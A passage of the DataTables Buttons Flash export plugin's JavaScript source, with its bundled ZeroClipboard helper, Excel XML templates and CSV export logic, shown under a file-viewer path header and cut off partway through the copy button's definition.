Viewing File: /home/cienp/public_html/portal/vendors/datatables.net-buttons/js/buttons.flash.js
/*!
* Flash export buttons for Buttons and DataTables.
* 2015 SpryMedia Ltd - datatables.net/license
*
* ZeroClipbaord - MIT license
* Copyright (c) 2012 Joseph Huckaby
*/
(function( factory ){
if ( typeof define === 'function' && define.amd ) {
// AMD
define( ['jquery', 'datatables.net', 'datatables.net-buttons'], function ( $ ) {
return factory( $, window, document );
} );
}
else if ( typeof exports === 'object' ) {
// CommonJS
module.exports = function (root, $) {
if ( ! root ) {
root = window;
}
if ( ! $ || ! $.fn.dataTable ) {
$ = require('datatables.net')(root, $).$;
}
if ( ! $.fn.dataTable.Buttons ) {
require('datatables.net-buttons')(root, $);
}
return factory( $, root, root.document );
};
}
else {
// Browser
factory( jQuery, window, document );
}
}(function( $, window, document, undefined ) {
'use strict';
var DataTable = $.fn.dataTable;
/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
* ZeroClipboard dependency
*/
/*
* ZeroClipboard 1.0.4 with modifications
* Author: Joseph Huckaby
* License: MIT
*
* Copyright (c) 2012 Joseph Huckaby
*/
var ZeroClipboard_TableTools = {
version: "1.0.4-TableTools2",
clients: {}, // registered upload clients on page, indexed by id
moviePath: '', // URL to movie
nextId: 1, // ID of next movie
$: function(thingy) {
// simple DOM lookup utility function
if (typeof(thingy) == 'string') {
thingy = document.getElementById(thingy);
}
if (!thingy.addClass) {
// extend element with a few useful methods
thingy.hide = function() { this.style.display = 'none'; };
thingy.show = function() { this.style.display = ''; };
thingy.addClass = function(name) { this.removeClass(name); this.className += ' ' + name; };
thingy.removeClass = function(name) {
this.className = this.className.replace( new RegExp("\\s*" + name + "\\s*"), " ").replace(/^\s+/, '').replace(/\s+$/, '');
};
thingy.hasClass = function(name) {
return !!this.className.match( new RegExp("\\s*" + name + "\\s*") );
};
}
return thingy;
},
setMoviePath: function(path) {
// set path to ZeroClipboard.swf
this.moviePath = path;
},
dispatch: function(id, eventName, args) {
// receive event from flash movie, send to client
var client = this.clients[id];
if (client) {
client.receiveEvent(eventName, args);
}
},
log: function ( str ) {
console.log( 'Flash: '+str );
},
register: function(id, client) {
// register new client to receive events
this.clients[id] = client;
},
getDOMObjectPosition: function(obj) {
// get absolute coordinates for dom element
var info = {
left: 0,
top: 0,
width: obj.width ? obj.width : obj.offsetWidth,
height: obj.height ? obj.height : obj.offsetHeight
};
if ( obj.style.width !== "" ) {
info.width = obj.style.width.replace("px","");
}
if ( obj.style.height !== "" ) {
info.height = obj.style.height.replace("px","");
}
while (obj) {
info.left += obj.offsetLeft;
info.top += obj.offsetTop;
obj = obj.offsetParent;
}
return info;
},
Client: function(elem) {
// constructor for new simple upload client
this.handlers = {};
// unique ID
this.id = ZeroClipboard_TableTools.nextId++;
this.movieId = 'ZeroClipboard_TableToolsMovie_' + this.id;
// register client with singleton to receive flash events
ZeroClipboard_TableTools.register(this.id, this);
// create movie
if (elem) {
this.glue(elem);
}
}
};
ZeroClipboard_TableTools.Client.prototype = {
id: 0, // unique ID for us
ready: false, // whether movie is ready to receive events or not
movie: null, // reference to movie object
clipText: '', // text to copy to clipboard
fileName: '', // default file save name
action: 'copy', // action to perform
handCursorEnabled: true, // whether to show hand cursor, or default pointer cursor
cssEffects: true, // enable CSS mouse effects on dom container
handlers: null, // user event handlers
sized: false,
sheetName: '', // default sheet name for excel export
glue: function(elem, title) {
// glue to DOM element
// elem can be ID or actual DOM element object
this.domElement = ZeroClipboard_TableTools.$(elem);
// float just above object, or zIndex 99 if dom element isn't set
var zIndex = 99;
if (this.domElement.style.zIndex) {
zIndex = parseInt(this.domElement.style.zIndex, 10) + 1;
}
// find X/Y position of domElement
var box = ZeroClipboard_TableTools.getDOMObjectPosition(this.domElement);
// create floating DIV above element
this.div = document.createElement('div');
var style = this.div.style;
style.position = 'absolute';
style.left = '0px';
style.top = '0px';
style.width = (box.width) + 'px';
style.height = box.height + 'px';
style.zIndex = zIndex;
if ( typeof title != "undefined" && title !== "" ) {
this.div.title = title;
}
if ( box.width !== 0 && box.height !== 0 ) {
this.sized = true;
}
// style.backgroundColor = '#f00'; // debug
if ( this.domElement ) {
this.domElement.appendChild(this.div);
this.div.innerHTML = this.getHTML( box.width, box.height ).replace(/&/g, '&');
}
},
positionElement: function() {
var box = ZeroClipboard_TableTools.getDOMObjectPosition(this.domElement);
var style = this.div.style;
style.position = 'absolute';
//style.left = (this.domElement.offsetLeft)+'px';
//style.top = this.domElement.offsetTop+'px';
style.width = box.width + 'px';
style.height = box.height + 'px';
if ( box.width !== 0 && box.height !== 0 ) {
this.sized = true;
} else {
return;
}
var flash = this.div.childNodes[0];
flash.width = box.width;
flash.height = box.height;
},
getHTML: function(width, height) {
// return HTML for movie
var html = '';
var flashvars = 'id=' + this.id +
'&width=' + width +
'&height=' + height;
if (navigator.userAgent.match(/MSIE/)) {
// IE gets an OBJECT tag
var protocol = location.href.match(/^https/i) ? 'https://' : 'http://';
html += '<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="'+protocol+'download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=10,0,0,0" width="'+width+'" height="'+height+'" id="'+this.movieId+'" align="middle"><param name="allowScriptAccess" value="always" /><param name="allowFullScreen" value="false" /><param name="movie" value="'+ZeroClipboard_TableTools.moviePath+'" /><param name="loop" value="false" /><param name="menu" value="false" /><param name="quality" value="best" /><param name="bgcolor" value="#ffffff" /><param name="flashvars" value="'+flashvars+'"/><param name="wmode" value="transparent"/></object>';
}
else {
// all other browsers get an EMBED tag
html += '<embed id="'+this.movieId+'" src="'+ZeroClipboard_TableTools.moviePath+'" loop="false" menu="false" quality="best" bgcolor="#ffffff" width="'+width+'" height="'+height+'" name="'+this.movieId+'" align="middle" allowScriptAccess="always" allowFullScreen="false" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer" flashvars="'+flashvars+'" wmode="transparent" />';
}
return html;
},
hide: function() {
// temporarily hide floater offscreen
if (this.div) {
this.div.style.left = '-2000px';
}
},
show: function() {
// show ourselves after a call to hide()
this.reposition();
},
destroy: function() {
// destroy control and floater
var that = this;
if (this.domElement && this.div) {
$(this.div).remove();
this.domElement = null;
this.div = null;
$.each( ZeroClipboard_TableTools.clients, function ( id, client ) {
if ( client === that ) {
delete ZeroClipboard_TableTools.clients[ id ];
}
} );
}
},
reposition: function(elem) {
// reposition our floating div, optionally to new container
// warning: container CANNOT change size, only position
if (elem) {
this.domElement = ZeroClipboard_TableTools.$(elem);
if (!this.domElement) {
this.hide();
}
}
if (this.domElement && this.div) {
var box = ZeroClipboard_TableTools.getDOMObjectPosition(this.domElement);
var style = this.div.style;
style.left = '' + box.left + 'px';
style.top = '' + box.top + 'px';
}
},
clearText: function() {
// clear the text to be copy / saved
this.clipText = '';
if (this.ready) {
this.movie.clearText();
}
},
appendText: function(newText) {
// append text to that which is to be copied / saved
this.clipText += newText;
if (this.ready) { this.movie.appendText(newText) ;}
},
setText: function(newText) {
// set text to be copied to be copied / saved
this.clipText = newText;
if (this.ready) { this.movie.setText(newText) ;}
},
setFileName: function(newText) {
// set the file name
this.fileName = newText;
if (this.ready) {
this.movie.setFileName(newText);
}
},
setSheetData: function(data) {
// set the xlsx sheet data
if (this.ready) {
this.movie.setSheetData( JSON.stringify( data ) );
}
},
setAction: function(newText) {
// set action (save or copy)
this.action = newText;
if (this.ready) {
this.movie.setAction(newText);
}
},
addEventListener: function(eventName, func) {
// add user event listener for event
// event types: load, queueStart, fileStart, fileComplete, queueComplete, progress, error, cancel
eventName = eventName.toString().toLowerCase().replace(/^on/, '');
if (!this.handlers[eventName]) {
this.handlers[eventName] = [];
}
this.handlers[eventName].push(func);
},
setHandCursor: function(enabled) {
// enable hand cursor (true), or default arrow cursor (false)
this.handCursorEnabled = enabled;
if (this.ready) {
this.movie.setHandCursor(enabled);
}
},
setCSSEffects: function(enabled) {
// enable or disable CSS effects on DOM container
this.cssEffects = !!enabled;
},
receiveEvent: function(eventName, args) {
var self;
// receive event from flash
eventName = eventName.toString().toLowerCase().replace(/^on/, '');
// special behavior for certain events
switch (eventName) {
case 'load':
// movie claims it is ready, but in IE this isn't always the case...
// bug fix: Cannot extend EMBED DOM elements in Firefox, must use traditional function
this.movie = document.getElementById(this.movieId);
if (!this.movie) {
self = this;
setTimeout( function() { self.receiveEvent('load', null); }, 1 );
return;
}
// firefox on pc needs a "kick" in order to set these in certain cases
if (!this.ready && navigator.userAgent.match(/Firefox/) && navigator.userAgent.match(/Windows/)) {
self = this;
setTimeout( function() { self.receiveEvent('load', null); }, 100 );
this.ready = true;
return;
}
this.ready = true;
this.movie.clearText();
this.movie.appendText( this.clipText );
this.movie.setFileName( this.fileName );
this.movie.setAction( this.action );
this.movie.setHandCursor( this.handCursorEnabled );
break;
case 'mouseover':
if (this.domElement && this.cssEffects) {
//this.domElement.addClass('hover');
if (this.recoverActive) {
this.domElement.addClass('active');
}
}
break;
case 'mouseout':
if (this.domElement && this.cssEffects) {
this.recoverActive = false;
if (this.domElement.hasClass('active')) {
this.domElement.removeClass('active');
this.recoverActive = true;
}
//this.domElement.removeClass('hover');
}
break;
case 'mousedown':
if (this.domElement && this.cssEffects) {
this.domElement.addClass('active');
}
break;
case 'mouseup':
if (this.domElement && this.cssEffects) {
this.domElement.removeClass('active');
this.recoverActive = false;
}
break;
} // switch eventName
if (this.handlers[eventName]) {
for (var idx = 0, len = this.handlers[eventName].length; idx < len; idx++) {
var func = this.handlers[eventName][idx];
if (typeof(func) == 'function') {
// actual function reference
func(this, args);
}
else if ((typeof(func) == 'object') && (func.length == 2)) {
// PHP style object + method, i.e. [myObject, 'myMethod']
func[0][ func[1] ](this, args);
}
else if (typeof(func) == 'string') {
// name of function
window[func](this, args);
}
} // foreach event handler defined
} // user defined handler for event
}
};
ZeroClipboard_TableTools.hasFlash = function ()
{
try {
var fo = new ActiveXObject('ShockwaveFlash.ShockwaveFlash');
if (fo) {
return true;
}
}
catch (e) {
if (
navigator.mimeTypes &&
navigator.mimeTypes['application/x-shockwave-flash'] !== undefined &&
navigator.mimeTypes['application/x-shockwave-flash'].enabledPlugin
) {
return true;
}
}
return false;
};
// For the Flash binding to work, ZeroClipboard_TableTools must be on the global
// object list
window.ZeroClipboard_TableTools = ZeroClipboard_TableTools;
/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
* Local (private) functions
*/
/**
* If a Buttons instance is initlaised before it is placed into the DOM, Flash
* won't be able to bind to it, so we need to wait until it is available, this
* method abstracts that out.
*
* @param {ZeroClipboard} flash ZeroClipboard instance
* @param {jQuery} node Button
*/
var _glue = function ( flash, node )
{
var id = node.attr('id');
if ( node.parents('html').length ) {
flash.glue( node[0], '' );
}
else {
setTimeout( function () {
_glue( flash, node );
}, 500 );
}
};
/**
* Get the file name for an exported file.
*
* @param {object} config Button configuration
* @param {boolean} incExtension Include the file name extension
*/
var _filename = function ( config, incExtension )
{
// Backwards compatibility
var filename = config.filename === '*' && config.title !== '*' && config.title !== undefined ?
config.title :
config.filename;
if ( typeof filename === 'function' ) {
filename = filename();
}
if ( filename.indexOf( '*' ) !== -1 ) {
filename = $.trim( filename.replace( '*', $('title').text() ) );
}
// Strip characters which the OS will object to
filename = filename.replace(/[^a-zA-Z0-9_\u00A1-\uFFFF\.,\-_ !\(\)]/g, "");
return incExtension === undefined || incExtension === true ?
filename+config.extension :
filename;
};
/**
* Get the sheet name for Excel exports.
*
* @param {object} config Button configuration
*/
var _sheetname = function ( config )
{
var sheetName = 'Sheet1';
if ( config.sheetName ) {
sheetName = config.sheetName.replace(/[\[\]\*\/\\\?\:]/g, '');
}
return sheetName;
};
/**
* Get the title for an exported file.
*
* @param {object} config Button configuration
*/
var _title = function ( config )
{
var title = config.title;
if ( typeof title === 'function' ) {
title = title();
}
return title.indexOf( '*' ) !== -1 ?
title.replace( '*', $('title').text() || 'Exported data' ) :
title;
};
/**
* Set the flash text. This has to be broken up into chunks as the Javascript /
* Flash bridge has a size limit. There is no indication in the Flash
* documentation what this is, and it probably depends upon the browser.
* Experimentation shows that the point is around 50k when data starts to get
* lost, so an 8K limit used here is safe.
*
* @param {ZeroClipboard} flash ZeroClipboard instance
* @param {string} data Data to send to Flash
*/
var _setText = function ( flash, data )
{
var parts = data.match(/[\s\S]{1,8192}/g) || [];
flash.clearText();
for ( var i=0, len=parts.length ; i<len ; i++ )
{
flash.appendText( parts[i] );
}
};
/**
* Get the newline character(s)
*
* @param {object} config Button configuration
* @return {string} Newline character
*/
var _newLine = function ( config )
{
return config.newline ?
config.newline :
navigator.userAgent.match(/Windows/) ?
'\r\n' :
'\n';
};
/**
* Combine the data from the `buttons.exportData` method into a string that
* will be used in the export file.
*
* @param {DataTable.Api} dt DataTables API instance
* @param {object} config Button configuration
* @return {object} The data to export
*/
var _exportData = function ( dt, config )
{
var newLine = _newLine( config );
var data = dt.buttons.exportData( config.exportOptions );
var boundary = config.fieldBoundary;
var separator = config.fieldSeparator;
var reBoundary = new RegExp( boundary, 'g' );
var escapeChar = config.escapeChar !== undefined ?
config.escapeChar :
'\\';
var join = function ( a ) {
var s = '';
// If there is a field boundary, then we might need to escape it in
// the source data
for ( var i=0, ien=a.length ; i<ien ; i++ ) {
if ( i > 0 ) {
s += separator;
}
s += boundary ?
boundary + ('' + a[i]).replace( reBoundary, escapeChar+boundary ) + boundary :
a[i];
}
return s;
};
var header = config.header ? join( data.header )+newLine : '';
var footer = config.footer && data.footer ? newLine+join( data.footer ) : '';
var body = [];
for ( var i=0, ien=data.body.length ; i<ien ; i++ ) {
body.push( join( data.body[i] ) );
}
return {
str: header + body.join( newLine ) + footer,
rows: body.length
};
};
// Basic initialisation for the buttons is common between them
var flashButton = {
available: function () {
return ZeroClipboard_TableTools.hasFlash();
},
init: function ( dt, button, config ) {
// Insert the Flash movie
ZeroClipboard_TableTools.moviePath = DataTable.Buttons.swfPath;
var flash = new ZeroClipboard_TableTools.Client();
flash.setHandCursor( true );
flash.addEventListener('mouseDown', function(client) {
config._fromFlash = true;
dt.button( button[0] ).trigger();
config._fromFlash = false;
} );
_glue( flash, button );
config._flash = flash;
},
destroy: function ( dt, button, config ) {
config._flash.destroy();
},
fieldSeparator: ',',
fieldBoundary: '"',
exportOptions: {},
title: '*',
filename: '*',
extension: '.csv',
header: true,
footer: false
};
/**
* Convert from numeric position to letter for column names in Excel
* @param {int} n Column number
* @return {string} Column letter(s) name
*/
function createCellPos( n ){
var ordA = 'A'.charCodeAt(0);
var ordZ = 'Z'.charCodeAt(0);
var len = ordZ - ordA + 1;
var s = "";
while( n >= 0 ) {
s = String.fromCharCode(n % len + ordA) + s;
n = Math.floor(n / len) - 1;
}
return s;
}
/**
* Create an XML node and add any children, attributes, etc without needing to
* be verbose in the DOM.
*
* @param {object} doc XML document
* @param {string} nodeName Node name
* @param {object} opts Options - can be `attr` (attributes), `children`
* (child nodes) and `text` (text content)
* @return {node} Created node
*/
function _createNode( doc, nodeName, opts ){
var tempNode = doc.createElement( nodeName );
if ( opts ) {
if ( opts.attr ) {
$(tempNode).attr( opts.attr );
}
if( opts.children ) {
$.each( opts.children, function ( key, value ) {
tempNode.appendChild( value );
});
}
if( opts.text ) {
tempNode.appendChild( doc.createTextNode( opts.text ) );
}
}
return tempNode;
}
/**
* Get the width for an Excel column based on the contents of that column
* @param {object} data Data for export
* @param {int} col Column index
* @return {int} Column width
*/
function _excelColWidth( data, col ) {
var max = data.header[col].length;
var len;
if ( data.footer && data.footer[col].length > max ) {
max = data.footer[col].length;
}
for ( var i=0, ien=data.body.length ; i<ien ; i++ ) {
len = data.body[i][col].toString().length;
if ( len > max ) {
max = len;
}
// Max width rather than having potentially massive column widths
if ( max > 40 ) {
break;
}
}
// And a min width
return max > 5 ? max : 5;
}
try {
var _serialiser = new XMLSerializer();
var _ieExcel;
}
catch (t) {}
/**
* Convert XML documents in an object to strings
* @param {object} obj XLSX document object
*/
function _xlsxToStrings( obj ) {
if ( _ieExcel === undefined ) {
// Detect if we are dealing with IE's _awful_ serialiser by seeing if it
// drop attributes
_ieExcel = _serialiser
.serializeToString(
$.parseXML( excelStrings['xl/worksheets/sheet1.xml'] )
)
.indexOf( 'xmlns:r' ) === -1;
}
$.each( obj, function ( name, val ) {
if ( $.isPlainObject( val ) ) {
_xlsxToStrings( val );
}
else {
if ( _ieExcel ) {
// IE's XML serialiser will drop some name space attributes from
// from the root node, so we need to save them. Do this by
// replacing the namespace nodes with a regular attribute that
// we convert back when serialised. Edge does not have this
// issue
var worksheet = val.childNodes[0];
var i, ien;
var attrs = [];
for ( i=worksheet.attributes.length-1 ; i>=0 ; i-- ) {
var attrName = worksheet.attributes[i].nodeName;
var attrValue = worksheet.attributes[i].nodeValue;
if ( attrName.indexOf( ':' ) !== -1 ) {
attrs.push( { name: attrName, value: attrValue } );
worksheet.removeAttribute( attrName );
}
}
for ( i=0, ien=attrs.length ; i<ien ; i++ ) {
var attr = val.createAttribute( attrs[i].name.replace( ':', '_dt_b_namespace_token_' ) );
attr.value = attrs[i].value;
worksheet.setAttributeNode( attr );
}
}
var str = _serialiser.serializeToString(val);
// Fix IE's XML
if ( _ieExcel ) {
// IE doesn't include the XML declaration
if ( str.indexOf( '<?xml' ) === -1 ) {
str = '<?xml version="1.0" encoding="UTF-8" standalone="yes"?>'+str;
}
// Return namespace attributes to being as such
str = str.replace( /_dt_b_namespace_token_/g, ':' );
}
// Both IE and Edge will put empty name space attributes onto the
// rows and columns making them useless
str = str
.replace( /<row xmlns="" /g, '<row ' )
.replace( /<cols xmlns="">/g, '<cols>' );
obj[ name ] = str;
}
} );
}
// Excel - Pre-defined strings to build a basic XLSX file
var excelStrings = {
"_rels/.rels":
'<?xml version="1.0" encoding="UTF-8" standalone="yes"?>'+
'<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">'+
'<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="xl/workbook.xml"/>'+
'</Relationships>',
"xl/_rels/workbook.xml.rels":
'<?xml version="1.0" encoding="UTF-8" standalone="yes"?>'+
'<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">'+
'<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/worksheet" Target="worksheets/sheet1.xml"/>'+
'<Relationship Id="rId2" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/styles" Target="styles.xml"/>'+
'</Relationships>',
"[Content_Types].xml":
'<?xml version="1.0" encoding="UTF-8" standalone="yes"?>'+
'<Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types">'+
'<Default Extension="xml" ContentType="application/xml" />'+
'<Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml" />'+
'<Default Extension="jpeg" ContentType="image/jpeg" />'+
'<Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml" />'+
'<Override PartName="/xl/worksheets/sheet1.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml" />'+
'<Override PartName="/xl/styles.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.styles+xml" />'+
'</Types>',
"xl/workbook.xml":
'<?xml version="1.0" encoding="UTF-8" standalone="yes"?>'+
'<workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships">'+
'<fileVersion appName="xl" lastEdited="5" lowestEdited="5" rupBuild="24816"/>'+
'<workbookPr showInkAnnotation="0" autoCompressPictures="0"/>'+
'<bookViews>'+
'<workbookView xWindow="0" yWindow="0" windowWidth="25600" windowHeight="19020" tabRatio="500"/>'+
'</bookViews>'+
'<sheets>'+
'<sheet name="" sheetId="1" r:id="rId1"/>'+
'</sheets>'+
'</workbook>',
"xl/worksheets/sheet1.xml":
'<?xml version="1.0" encoding="UTF-8" standalone="yes"?>'+
'<worksheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac">'+
'<sheetData/>'+
'</worksheet>',
"xl/styles.xml":
'<?xml version="1.0" encoding="UTF-8"?>'+
'<styleSheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac">'+
'<fonts count="5" x14ac:knownFonts="1">'+
'<font>'+
'<sz val="11" />'+
'<name val="Calibri" />'+
'</font>'+
'<font>'+
'<sz val="11" />'+
'<name val="Calibri" />'+
'<color rgb="FFFFFFFF" />'+
'</font>'+
'<font>'+
'<sz val="11" />'+
'<name val="Calibri" />'+
'<b />'+
'</font>'+
'<font>'+
'<sz val="11" />'+
'<name val="Calibri" />'+
'<i />'+
'</font>'+
'<font>'+
'<sz val="11" />'+
'<name val="Calibri" />'+
'<u />'+
'</font>'+
'</fonts>'+
'<fills count="6">'+
'<fill>'+
'<patternFill patternType="none" />'+
'</fill>'+
'<fill/>'+ // Excel appears to use this as a dotted background regardless of values
'<fill>'+
'<patternFill patternType="solid">'+
'<fgColor rgb="FFD9D9D9" />'+
'<bgColor indexed="64" />'+
'</patternFill>'+
'</fill>'+
'<fill>'+
'<patternFill patternType="solid">'+
'<fgColor rgb="FFD99795" />'+
'<bgColor indexed="64" />'+
'</patternFill>'+
'</fill>'+
'<fill>'+
'<patternFill patternType="solid">'+
'<fgColor rgb="ffc6efce" />'+
'<bgColor indexed="64" />'+
'</patternFill>'+
'</fill>'+
'<fill>'+
'<patternFill patternType="solid">'+
'<fgColor rgb="ffc6cfef" />'+
'<bgColor indexed="64" />'+
'</patternFill>'+
'</fill>'+
'</fills>'+
'<borders count="2">'+
'<border>'+
'<left />'+
'<right />'+
'<top />'+
'<bottom />'+
'<diagonal />'+
'</border>'+
'<border diagonalUp="false" diagonalDown="false">'+
'<left style="thin">'+
'<color auto="1" />'+
'</left>'+
'<right style="thin">'+
'<color auto="1" />'+
'</right>'+
'<top style="thin">'+
'<color auto="1" />'+
'</top>'+
'<bottom style="thin">'+
'<color auto="1" />'+
'</bottom>'+
'<diagonal />'+
'</border>'+
'</borders>'+
'<cellStyleXfs count="1">'+
'<xf numFmtId="0" fontId="0" fillId="0" borderId="0" />'+
'</cellStyleXfs>'+
'<cellXfs count="2">'+
'<xf numFmtId="0" fontId="0" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/>'+
'<xf numFmtId="0" fontId="1" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/>'+
'<xf numFmtId="0" fontId="2" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/>'+
'<xf numFmtId="0" fontId="3" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/>'+
'<xf numFmtId="0" fontId="4" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/>'+
'<xf numFmtId="0" fontId="0" fillId="2" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/>'+
'<xf numFmtId="0" fontId="1" fillId="2" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/>'+
'<xf numFmtId="0" fontId="2" fillId="2" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/>'+
'<xf numFmtId="0" fontId="3" fillId="2" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/>'+
'<xf numFmtId="0" fontId="4" fillId="2" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/>'+
'<xf numFmtId="0" fontId="0" fillId="4" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/>'+
'<xf numFmtId="0" fontId="1" fillId="4" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/>'+
'<xf numFmtId="0" fontId="2" fillId="4" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/>'+
'<xf numFmtId="0" fontId="3" fillId="4" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/>'+
'<xf numFmtId="0" fontId="4" fillId="4" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/>'+
'<xf numFmtId="0" fontId="0" fillId="4" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/>'+
'<xf numFmtId="0" fontId="1" fillId="4" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/>'+
'<xf numFmtId="0" fontId="2" fillId="4" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/>'+
'<xf numFmtId="0" fontId="3" fillId="4" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/>'+
'<xf numFmtId="0" fontId="4" fillId="4" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/>'+
'<xf numFmtId="0" fontId="0" fillId="5" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/>'+
'<xf numFmtId="0" fontId="1" fillId="5" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/>'+
'<xf numFmtId="0" fontId="2" fillId="5" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/>'+
'<xf numFmtId="0" fontId="3" fillId="5" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/>'+
'<xf numFmtId="0" fontId="4" fillId="5" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/>'+
'<xf numFmtId="0" fontId="0" fillId="0" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/>'+
'<xf numFmtId="0" fontId="1" fillId="0" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/>'+
'<xf numFmtId="0" fontId="2" fillId="0" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/>'+
'<xf numFmtId="0" fontId="3" fillId="0" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/>'+
'<xf numFmtId="0" fontId="4" fillId="0" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/>'+
'<xf numFmtId="0" fontId="0" fillId="2" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/>'+
'<xf numFmtId="0" fontId="1" fillId="2" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/>'+
'<xf numFmtId="0" fontId="2" fillId="2" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/>'+
'<xf numFmtId="0" fontId="3" fillId="2" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/>'+
'<xf numFmtId="0" fontId="4" fillId="2" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/>'+
'<xf numFmtId="0" fontId="0" fillId="3" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/>'+
'<xf numFmtId="0" fontId="1" fillId="3" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/>'+
'<xf numFmtId="0" fontId="2" fillId="3" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/>'+
'<xf numFmtId="0" fontId="3" fillId="3" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/>'+
'<xf numFmtId="0" fontId="4" fillId="3" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/>'+
'<xf numFmtId="0" fontId="0" fillId="4" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/>'+
'<xf numFmtId="0" fontId="1" fillId="4" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/>'+
'<xf numFmtId="0" fontId="2" fillId="4" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/>'+
'<xf numFmtId="0" fontId="3" fillId="4" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/>'+
'<xf numFmtId="0" fontId="4" fillId="4" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/>'+
'<xf numFmtId="0" fontId="0" fillId="5" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/>'+
'<xf numFmtId="0" fontId="1" fillId="5" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/>'+
'<xf numFmtId="0" fontId="2" fillId="5" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/>'+
'<xf numFmtId="0" fontId="3" fillId="5" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/>'+
'<xf numFmtId="0" fontId="4" fillId="5" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/>'+
'</cellXfs>'+
'<cellStyles count="1">'+
'<cellStyle name="Normal" xfId="0" builtinId="0" />'+
'</cellStyles>'+
'<dxfs count="0" />'+
'<tableStyles count="0" defaultTableStyle="TableStyleMedium9" defaultPivotStyle="PivotStyleMedium4" />'+
'</styleSheet>'
};
// Note we could use 3 `for` loops for the styles, but when gzipped there is
// virtually no difference in size, since the above can be easily compressed
/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
* DataTables options and methods
*/
// Set the default SWF path
DataTable.Buttons.swfPath = '//cdn.datatables.net/buttons/1.2.0/swf/flashExport.swf';
// Method to allow Flash buttons to be resized when made visible - as they are
// of zero height and width if initialised hidden
DataTable.Api.register( 'buttons.resize()', function () {
$.each( ZeroClipboard_TableTools.clients, function ( i, client ) {
if ( client.domElement !== undefined && client.domElement.parentNode ) {
client.positionElement();
}
} );
} );
/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
* Button definitions
*/
// Copy to clipboard
DataTable.ext.buttons.copyFlash = $.extend( {}, flashButton, {
className: 'buttons-copy buttons-flash',
text: function ( dt ) {
return dt.i18n( 'buttons.copy', 'Copy' );
},
action: function ( e, dt, button, config ) {
// Check that the trigger did actually occur due to a Flash activation
if ( ! config._fromFlash ) {
return;
}
var flash = config._flash;
var data = _exportData( dt, config );
var output = config.customize ?
config.customize( data.str, config ) :
data.str;
